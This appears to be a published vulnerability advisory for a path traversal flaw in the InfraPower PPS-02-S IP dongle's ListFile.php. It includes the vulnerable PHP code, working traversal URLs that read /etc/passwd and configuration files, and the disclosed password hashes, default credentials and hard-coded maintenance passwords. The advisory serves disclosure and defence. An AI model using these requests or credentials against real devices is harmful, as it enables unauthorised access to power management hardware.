Product web page: http://www.austin-hughes.com Affected version: Q213V1 (Firmware: V2395S) Fixed version: Q216V3 (Firmware: IPD-02-FW-v03) Summary: InfraPower Manager PPS-02-S is a FREE built-in GUI of each IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs. Patented IP Dongle provides IP remote access to the PDUs by a true network IP address chain. Only 1xIP dongle allows access to max. 16 PDUs in daisy chain - which is a highly efficient cient application for saving not only the IP remote accessories cost, but also the true IP addresses required on the PDU management. Desc: InfraPower suffers from a file disclosure vulnerability when input passed thru the 'file' parameter to 'ListFile.php' script is not properly verified before being used to read files. This can be exploited to disclose contents of files from local resources. ------------------------------------------------------------------- ListFile.php: ------------- 8: if(isset($_GET['file'])){ 9: $handle = $_GET['file']; 10: $fp = fopen('/ramdisk/'.$handle, 'r'); 11: while(!feof($fp)){ 12: $tmp=fgets($fp,2000); 13: $tmp = str_replace(" ","<br />",$tmp); 14: echo $tmp; 15: } 16: fclose($fp); 17: } ------------------------------------------------------------------- Tested on: Linux 2.6.28 (armv5tel) lighttpd/1.4.30-devel-1321 PHP/5.3.9 SQLite/3.7.10 Vulnerabiliy discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5370 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5370.php 27.09.2016 -- http://192.168.0.17/ListFile.php?file=../../../../../../../etc/passwd root:4g.6AafvEPx9M:0:0:root:/:/sbin/root_shell.sh bin:x:1:1:bin:/bin:/bin/sh daemon:x:2:2:daemon:/usr/sbin:/bin/sh adm:x:3:4:adm:/adm:/bin/sh lp:x:4:7:lp:/var/spool/lpd:/bin/sh sync:x:5:0:sync:/bin:/bin/sync shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh operator:x:11:0:Operator:/var:/bin/sh nobody:x:99:99:nobody:/home:/bin/sh admin:4g.6AafvEPx9M:1000:1000:Linux User,,,:/home:/bin/login_script user:4g.6AafvEPx9M:1001:1001:Linux User,,,:/home:/bin/login_Script service:AsZLenpCPzc0o:0:0:root:/www:/sbin/menu_shell.sh www:$1$tFXqWewd$3QCtiVztmLTe63e1WM3l6.:0:0:root:/www:/sbin/menu_shell.sh www2:$1$tFXqWewd$3QCtiVztmLTe63e1WM3l6.:0:0:root:/www2:/sbin/menu_shell.sh http://192.168.0.17/ListFile.php?file=../../../../../../../etc/web_conf LoginAuth 1 UserName 00000000 Password 00000000 http://192.168.0.17/ListFile.php?file=../../../../../../../mnt/mtd/password_conf dmin 999999 manager 666666 user 111111 http://192.168.0.17/ListFile.php?file=../../../../../../../sbin/maintenance_shell.sh #!/bin/sh echo -n "Please enter maintenance password:" read -s pass InfraType=`cat /mnt/mtd/main_conf | grep "InfraType" | cut -d " " -f 2` if [ "$InfraType" == "1" ]; then if [ "$pass" != "InfraSolution" ]; then echo "Invalid maintenance password!" exit 0 fi else if [ "$InfraType" == "2" ]; then if [ "$pass" != "InfraGuard" ]; then echo "Invalid maintenance password!" exit 0 fi else if [ "$InfraType" == "3" ]; then if [ "$pass" != "InfraPower" ]; then echo "Invalid maintenance password!" exit 0 fi else if [ "$InfraType" == "4" ]; then if [ "$pass" != "InfraCool" ]; then echo "Invalid maintenance password!" exit 0 fi else #---emergency recovery mode echo "DEBUG su mode started!" su fi fi fi fi # create menu echo "" echo "***********************************************" echo "* Maintenance Menu *" echo "***********************************************" echo "(1) View(vi) /mnt/mtd/main_conf " echo "(2) View /mnt/mtd/snmp_conf " echo "(3) View /mnt/mtd/net_conf " echo "(4) View /mnt/mtd/web_conf " echo "(5) Enable auto patching(boot.sh) on bootup " echo "(6) Disable auto patching(boot.sh) on bootup " echo "(7) Clear all patching (/mnt/mtd/patch/) " echo "(8) Update /www/patch/ to /mnt/mtd/patch/ " echo "(9) Process Monitoring " echo "(A) Patch SNMP " echo "(B) Restore Configuration " echo "(P) Restore INI, POL profiles " echo "(E) Execute command line " echo "(M) View meminfo " echo "(X) Terminal console mode " echo "(R) Reboot " echo "(?)
